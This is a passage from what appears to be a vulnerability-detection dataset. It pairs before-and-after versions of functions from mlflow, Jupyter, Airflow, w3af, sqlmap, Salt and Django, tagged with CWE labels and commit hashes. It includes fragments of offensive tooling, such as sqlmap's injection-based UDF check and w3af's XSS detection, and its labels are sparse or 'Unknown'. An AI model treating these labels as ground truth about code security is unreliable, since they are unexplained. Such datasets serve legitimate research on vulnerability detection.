            flavor.save_model(path=local_path, mlflow_model=mlflow_model, **kwargs)
            mlflow.tracking.fluent.log_artifacts(local_path, mlflow_model.artifact_path)
            tracking_uri = _resolve_tracking_uri()
            if (
                tracking_uri == ""databricks"" or get_uri_scheme(tracking_uri) == ""databricks""
            ) and kwargs.get(""signature"") is None:
                _logger.warning(_LOG_MODEL_MISSING_SIGNATURE_WARNING)
            try:
                mlflow.tracking.fluent._record_logged_model(mlflow_model)
            except MlflowException:
                # We need to swallow all mlflow exceptions to maintain backwards compatibility with
                # older tracking servers. Only print out a warning for now.
                _logger.warning(_LOG_MODEL_METADATA_WARNING_TEMPLATE, mlflow.get_artifact_uri())
                _logger.debug("""", exc_info=True)
            if registered_model_name is not None:
                run_id = mlflow.tracking.fluent.active_run().info.run_id
                mlflow.tracking._model_registry.fluent._register_model(
                    f""runs:/{run_id}/{mlflow_model.artifact_path}"",
                    registered_model_name,
                    await_registration_for=await_registration_for,
                    local_model_path=local_path,
                )
        return mlflow_model.get_model_info()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/tests/test_manager.py,0,"def test_400(self):
        #Test Delete behavior
        #Test delete of file in hidden directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = '.hidden'
            file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
            _make_dir(cm, hidden_dir)

            with self.assertRaises(HTTPError) as excinfo:
                cm.delete_file(file_in_hidden_path)
            self.assertEqual(excinfo.exception.status_code, 400)

        #Test delete hidden file in visible directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = 'visible'
            file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
            _make_dir(cm, hidden_dir)

            with self.assertRaises(HTTPError) as excinfo:
                cm.delete_file(file_in_hidden_path)
            self.assertEqual(excinfo.exception.status_code, 400)

        #Test Save behavior
        #Test save of file in hidden directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = '.hidden'
                file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.save(model,path=os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")
        #Test save hidden file in visible directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = 'visible'
                file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.save(model,path=os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test rename behavior
        #Test rename with source file in hidden directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = '.hidden'
            file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
            _make_dir(cm, hidden_dir)
            old_path = file_in_hidden_path
            new_path = ""new.txt""

            with self.assertRaises(HTTPError) as excinfo:
                cm.rename_file(old_path, new_path)
            self.assertEqual(excinfo.exception.status_code, 400)

        #Test rename of dest file in hidden directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = '.hidden'
            file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
            _make_dir(cm, hidden_dir)
            new_path = file_in_hidden_path
            old_path = ""old.txt""

            with self.assertRaises(HTTPError) as excinfo:
                cm.rename_file(old_path, new_path)
            self.assertEqual(excinfo.exception.status_code, 400)

        #Test rename with hidden source file in visible directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = 'visible'
            file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
            _make_dir(cm, hidden_dir)
            old_path = file_in_hidden_path
            new_path = ""new.txt""

            with self.assertRaises(HTTPError) as excinfo:
                cm.rename_file(old_path, new_path)
            self.assertEqual(excinfo.exception.status_code, 400)

        #Test rename with hidden dest file in visible directory
        with TemporaryDirectory() as td:
            cm = FileContentsManager(root_dir=td)
            hidden_dir = 'visible'
            file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
            _make_dir(cm, hidden_dir)
            new_path = file_in_hidden_path
            old_path = ""old.txt""

            with self.assertRaises(HTTPError) as excinfo:
                cm.rename_file(old_path, new_path)
            self.assertEqual(excinfo.exception.status_code, 400)",,jupyter/notebook,e9e5a93dc8b485559941f59e7cfe7a17f8e82e14,"def test_400(self):
        #Test Delete behavior
        #Test delete of file in hidden directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = '.hidden'
                file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.delete_file(os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")
        #Test delete hidden file in visible directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = 'visible'
                file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.delete_file(os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test Save behavior
        #Test save of file in hidden directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = '.hidden'
                file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.save(model,path=os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")
        #Test save hidden file in visible directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = 'visible'
                file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                os_path = cm._get_os_path(model['path'])

                try:
                    result = cm.save(model,path=os_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test rename behavior
        #Test rename with source file in hidden directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = '.hidden'
                file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                old_path = cm._get_os_path(model['path'])
                new_path = ""new.txt""

                try:
                    result = cm.rename_file(old_path, new_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test rename of dest file in hidden directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = '.hidden'
                file_in_hidden_path = os.path.join(hidden_dir,'visible.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                new_path = cm._get_os_path(model['path'])
                old_path = ""old.txt""

                try:
                    result = cm.rename_file(old_path, new_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test rename with hidden source file in visible directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = 'visible'
                file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                old_path = cm._get_os_path(model['path'])
                new_path = ""new.txt""

                try:
                    result = cm.rename_file(old_path, new_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")

        #Test rename with hidden dest file in visible directory
        with self.assertRaises(HTTPError) as excinfo:
            with TemporaryDirectory() as td:
                cm = FileContentsManager(root_dir=td)
                hidden_dir = 'visible'
                file_in_hidden_path = os.path.join(hidden_dir,'.hidden.txt')
                _make_dir(cm, hidden_dir)
                model = cm.new(path=file_in_hidden_path)
                new_path = cm._get_os_path(model['path'])
                old_path = ""old.txt""

                try:
                    result = cm.rename_file(old_path, new_path)
                except HTTPError as e:
                    self.assertEqual(e.status_code, 400)
                else:
                    self.fail(""Should have raised HTTPError(400)"")"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def are_dependencies_met(
            self, main_session=None, flag_upstream_failed=False):
        """"""
        Returns a boolean on whether the upstream tasks are in a SUCCESS state
        and considers depends_on_past and the previous run's state.

        :param flag_upstream_failed: This is a hack to generate
            the upstream_failed state creation while checking to see
            whether the task instance is runnable. It was the shortest
            path to add the feature
        :type flag_upstream_failed: boolean
        """"""
        TI = TaskInstance
        TR = TriggerRule

        # Using the session if passed as param
        session = main_session or settings.Session()
        task = self.task

        # Checking that the depends_on_past is fulfilled
        if (task.depends_on_past and
                not self.execution_date == task.start_date):
            previous_ti = session.query(TI).filter(
                TI.dag_id == self.dag_id,
                TI.task_id == task.task_id,
                TI.execution_date ==
                    self.task.dag.previous_schedule(self.execution_date),
                TI.state == State.SUCCESS,
            ).first()
            if not previous_ti:
                return False

            # Applying wait_for_downstream
            previous_ti.task = self.task
            if task.wait_for_downstream and not \
                    previous_ti.are_dependents_done(session):
                return False

        # Checking that all upstream dependencies have succeeded
        if not task._upstream_list or task.trigger_rule == TR.DUMMY:
            return True

        upstream_task_ids = [t.task_id for t in task._upstream_list]
        qry = (
            session
            .query(
                func.coalesce(func.sum(
                    case([(TI.state == State.SUCCESS, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.SKIPPED, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.FAILED, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.UPSTREAM_FAILED, 1)], else_=0)), 0),
                func.count(TI.task_id),
            )
            .filter(
                TI.dag_id == self.dag_id,
                TI.task_id.in_(upstream_task_ids),
                TI.execution_date == self.execution_date,
                TI.state.in_([
                    State.SUCCESS, State.FAILED,
                    State.UPSTREAM_FAILED, State.SKIPPED]),
            )
        )
        successes, skipped, failed, upstream_failed, done = qry.first()
        upstream = len(task._upstream_list)
        tr = task.trigger_rule
        upstream_done = done >= upstream

        # handling instant state assignment based on trigger rules
        if flag_upstream_failed:
            if tr == TR.ALL_SUCCESS:
                if upstream_failed or failed:
                    self.set_state(State.UPSTREAM_FAILED)
                elif skipped:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ALL_FAILED:
                if successes or skipped:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ONE_SUCCESS:
                if upstream_done and not successes:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ONE_FAILED:
                if upstream_done and not(failed or upstream_failed):
                    self.set_state(State.SKIPPED)

        if (
            (tr == TR.ONE_SUCCESS and successes) or
            (tr == TR.ONE_FAILED and (failed or upstream_failed)) or
            (tr == TR.ALL_SUCCESS and successes >= upstream) or
            (tr == TR.ALL_FAILED and failed + upstream_failed >= upstream) or
            (tr == TR.ALL_DONE and upstream_done)
        ):
            return True

        if not main_session:
            session.commit()
            session.close()
        return False",CWE-Unknown,apache/airflow,f71888da92a796336ee974661fcd6c310256748e,"def are_dependencies_met(
            self, main_session=None, flag_upstream_failed=False):
        """"""
        Returns a boolean on whether the upstream tasks are in a SUCCESS state
        and considers depends_on_past and the previous run's state.

        :param flag_upstream_failed: This is a hack to generate
            the upstream_failed state creation while checking to see
            whether the task instance is runnable. It was the shortest
            path to add the feature
        :type flag_upstream_failed: boolean
        """"""
        TI = TaskInstance
        TR = TriggerRule

        # Using the session if passed as param
        session = main_session or settings.Session()
        task = self.task

        # Checking that the depends_on_past is fulfilled
        if (task.depends_on_past and
                not self.execution_date == task.start_date):
            previous_ti = session.query(TI).filter(
                TI.dag_id == self.dag_id,
                TI.task_id == task.task_id,
                TI.execution_date ==
                    self.task.dag.previous_schedule(self.execution_date),
                TI.state == State.SUCCESS,
            ).first()
            if not previous_ti:
                return False

            # Applying wait_for_downstream
            previous_ti.task = self.task
            if task.wait_for_downstream and not \
                    previous_ti.are_dependents_done(session):
                return False

        # Checking that all upstream dependencies have succeeded
        if not task._upstream_list or task.trigger_rule == TR.DUMMY:
            return True

        upstream_task_ids = [t.task_id for t in task._upstream_list]
        qry = (
            session
            .query(
                func.coalesce(func.sum(
                    case([(TI.state == State.SUCCESS, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.SKIPPED, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.FAILED, 1)], else_=0)), 0),
                func.coalesce(func.sum(
                    case([(TI.state == State.UPSTREAM_FAILED, 1)], else_=0)), 0),
                func.count(TI.task_id),
            )
            .filter(
                TI.dag_id == self.dag_id,
                TI.task_id.in_(upstream_task_ids),
                TI.execution_date == self.execution_date,
                TI.state.in_([
                    State.SUCCESS, State.FAILED,
                    State.UPSTREAM_FAILED, State.SKIPPED]),
            )
        )
        successes, skipped, failed, upstream_failed, done = qry.first()
        upstream = len(task._upstream_list)
        tr = task.trigger_rule

        # handling instant state assignment based on trigger rules
        if flag_upstream_failed:
            if tr == TR.ALL_SUCCESS:
                if upstream_failed or failed:
                    self.set_state(State.UPSTREAM_FAILED)
                elif skipped:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ALL_FAILED:
                if successes or skipped:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ONE_SUCCESS:
                if done >= upstream and not successes:
                    self.set_state(State.SKIPPED)
            elif tr == TR.ONE_FAILED:
                if successes or skipped:
                    self.set_state(State.SKIPPED)

        if (
            (tr == TR.ONE_SUCCESS and successes) or
            (tr == TR.ONE_FAILED and (failed or upstream_failed)) or
            (tr == TR.ALL_SUCCESS and successes >= upstream) or
            (tr == TR.ALL_FAILED and failed + upstream_failed >= upstream) or
            (tr == TR.ALL_DONE and done >= upstream)
        ):
            return True

        if not main_session:
            session.commit()
            session.close()
        return False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/abstract_store.py,0,"def search_runs(self, experiment_ids, filter_string, run_view_type,
                    max_results=SEARCH_MAX_RESULTS_DEFAULT, order_by=None, page_token=None):
        """"""
        Return runs that match the given list of search expressions within the experiments.

        :param experiment_ids: List of experiment ids to scope the search
        :param filter_string: A search filter string.
        :param run_view_type: ACTIVE_ONLY, DELETED_ONLY, or ALL runs
        :param max_results: Maximum number of runs desired.
        :param order_by: List of order_by clauses.
        :param page_token: Token specifying the next page of results. It should be obtained from
            a ``search_runs`` call.

        :return: A list of :py:class:`mlflow.entities.Run` objects that satisfy the search
            expressions. The pagination token for the next page can be obtained via the ``token``
            attribute of the object; however, some store implementations may not support pagination
            and thus the returned token would not be meaningful in such cases.
        """"""
        runs, token = self._search_runs(experiment_ids, filter_string, run_view_type, max_results,
                                        order_by, page_token)
        return PagedList(runs, token)",,mlflow/mlflow,3cf7790fefed540595e22891688132c0b3c275ba,"def search_runs(self, experiment_ids, filter_string, run_view_type,
                    max_results=SEARCH_MAX_RESULTS_DEFAULT, order_by=None, page_token=None):
        """"""
        Return runs that match the given list of search expressions within the experiments.

        :param page_token:
        :param page_token:
        :param experiment_ids: List of experiment ids to scope the search
        :param filter_string: A search filter string.
        :param run_view_type: ACTIVE_ONLY, DELETED_ONLY, or ALL runs
        :param max_results: Maximum number of runs desired.
        :param order_by: List of order_by clauses.
        :param page_token: Token specifying the next page of results. It should be obtained from
            a ``search_runs`` call.

        :return: A list of :py:class:`mlflow.entities.Run` objects that satisfy the search
            expressions. The pagination token for the next page can be obtained via the ``token``
            attribute of the object; however, some store implementations may not support pagination
            and thus the returned token would not be meaningful in such cases.
        """"""
        runs, token = self._search_runs(experiment_ids, filter_string, run_view_type, max_results,
                                        order_by, page_token)
        return PagedList(runs, token)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/audit/xss.py,0,"def _analyze_echo_result(self, mutant, response):
        """"""
        Do we have a reflected XSS?
        
        :return: None, record all the results in the kb.
        """"""
        # Add data for the persistent xss checking
        if self._check_persistent_xss:
            self._xss_mutants.append((mutant, response.id))

        with self._plugin_lock:
            
            if self._has_bug(mutant):
                return
            
            sent_payload = mutant.get_token_payload()

            body_lower = response.get_body().lower()
            sent_payload_lower = sent_payload.lower()

            for context in get_context_iter(body_lower, sent_payload_lower):
                if context.is_executable() or context.can_break(sent_payload_lower):
                    self._report_vuln(mutant, response, sent_payload)
                    return",,andresriancho/w3af,6dfd92b6041ca88c831cf97bb263a329f3a3de82,"def _analyze_echo_result(self, mutant, response):
        """"""
        Do we have a reflected XSS?
        
        :return: None, record all the results in the kb.
        """"""
        # Add data for the persistent xss checking
        if self._check_persistent_xss:
            self._xss_mutants.append((mutant, response.id))

        with self._plugin_lock:
            
            if self._has_bug(mutant):
                return
            
            mod_value = mutant.get_token_value()

            body_lower = response.get_body().lower()
            mod_value_lower = mod_value.lower()

            for context in get_context_iter(body_lower, mod_value_lower):
                if context.is_executable() or context.can_break(mod_value_lower):
                    self._report_vuln(mutant, response, mod_value)
                    return"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/fuzzer/mutants/tests/test_postdata_mutant.py,0,"def test_mutant_creation(self):
        form = Form()
        form.add_input([(""name"", ""username""), (""value"", """")])
        form.add_input([(""name"", ""address""), (""value"", """")])

        freq = HTTPPostDataRequest(URL('http://www.w3af.com/?id=3'), dc=form,
                                   method='PUT')

        created_mutants = PostDataMutant.create_mutants(
            freq, self.payloads, [],
            False, self.fuzzer_config)

        expected_dc_lst = [Form(
            [('username', ['abc']), ('address', ['Bonsai Street 123'])]),
            Form([('username', [
                   'def']), ('address', ['Bonsai Street 123'])]),
            Form([('username', [
                   'John8212']), ('address', ['abc'])]),
            Form([('username', ['John8212']), ('address', ['def'])])]

        created_dc_lst = [i.get_dc() for i in created_mutants]

        self.assertEqual(created_dc_lst, expected_dc_lst)

        self.assertEqual(created_mutants[0].get_var(), 'username')
        self.assertEqual(created_mutants[0].get_var_index(), 0)
        self.assertEqual(created_mutants[0].get_original_value(), '')
        self.assertEqual(created_mutants[2].get_var(), 'address')
        self.assertEqual(created_mutants[2].get_var_index(), 0)
        self.assertEqual(created_mutants[2].get_original_value(), '')

        self.assertTrue(
            all(isinstance(m, PostDataMutant) for m in created_mutants))
        self.assertTrue(
            all(m.get_method().startswith('PUT') for m in created_mutants))",,andresriancho/w3af,4cdbad737e585d71f32ed653d37747eb32ba7466,"def test_mutant_creation(self):
        form = Form()
        form.add_input([(""name"", ""username""), (""value"", """")])
        form.add_input([(""name"", ""address""), (""value"", """")])

        freq = HTTPPostDataRequest(URL('http://www.w3af.com/?id=3'), dc=form,
                                   method='PUT')

        created_mutants = PostDataMutant.create_mutants(
            freq, self.payloads, [],
            False, self.fuzzer_config)

        expected_dc_lst = [Form(
            [('username', ['abc']), ('address', ['Bonsai Street 123'])]),
            Form([('username', [
                   'def']), ('address', ['Bonsai Street 123'])]),
            Form([('username', [
                   'John8212']), ('address', ['abc'])]),
            Form([('username', ['John8212']), ('address', ['def'])])]

        created_dc_lst = [i.get_dc() for i in created_mutants]

        self.assertEqual(created_dc_lst, expected_dc_lst)

        self.assertEqual(created_mutants[0].get_var(), 'username')
        self.assertEqual(created_mutants[0].get_var_index(), 0)
        self.assertEqual(created_mutants[0].get_original_value(), '')
        self.assertEqual(created_mutants[2].get_var(), 'address')
        self.assertEqual(created_mutants[2].get_var_index(), 0)
        self.assertEqual(created_mutants[2].get_original_value(), '')

        self.assertTrue(
            all(isinstance(m, PostDataMutant) for m in created_mutants))
        self.assertTrue(
            all(m.get_method().startswith('PUT') for m in created_mutants))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/udf.py,0,"def __checkExistUdf(self, udf):
        logger.info(""checking if UDF '%s' already exist"" % udf)

        query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
        exists = inject.getValue(query, resumeValue=False, charsetType=2)

        if exists == ""1"":
            return True
        else:
            return False",,sqlmapproject/sqlmap,3e8c20412172411de3fac4dad7aec38b53b8312c,"def __checkExistUdf(self, udf):
        logger.info(""checking if UDF '%s' already exist"" % udf)

        query  = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
        exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)

        if exists == ""1"":
            return True
        else:
            return False"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/transport/test_zeromq.py,0,"def _handle_payload(cls, payload):
        '''
        TODO: something besides echo
        '''
        raise tornado.gen.Return((payload, {'fun': 'send_clear'}))",,saltstack/salt,9b7a0d1c7a2969140e3bc6122b73d087ce50dc13,"def _handle_payload(cls, payload):
        '''
        TODO: something besides echo
        '''
        raise tornado.gen.Return((payload, {'fun': 'send_clear'}))"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for rel in _related_non_m2m_objects(new_field.model._meta):
                rel_fk_names = self._constraint_names(rel.related_model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(new_field.model._meta))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(new_field.model._meta))
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.related_model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
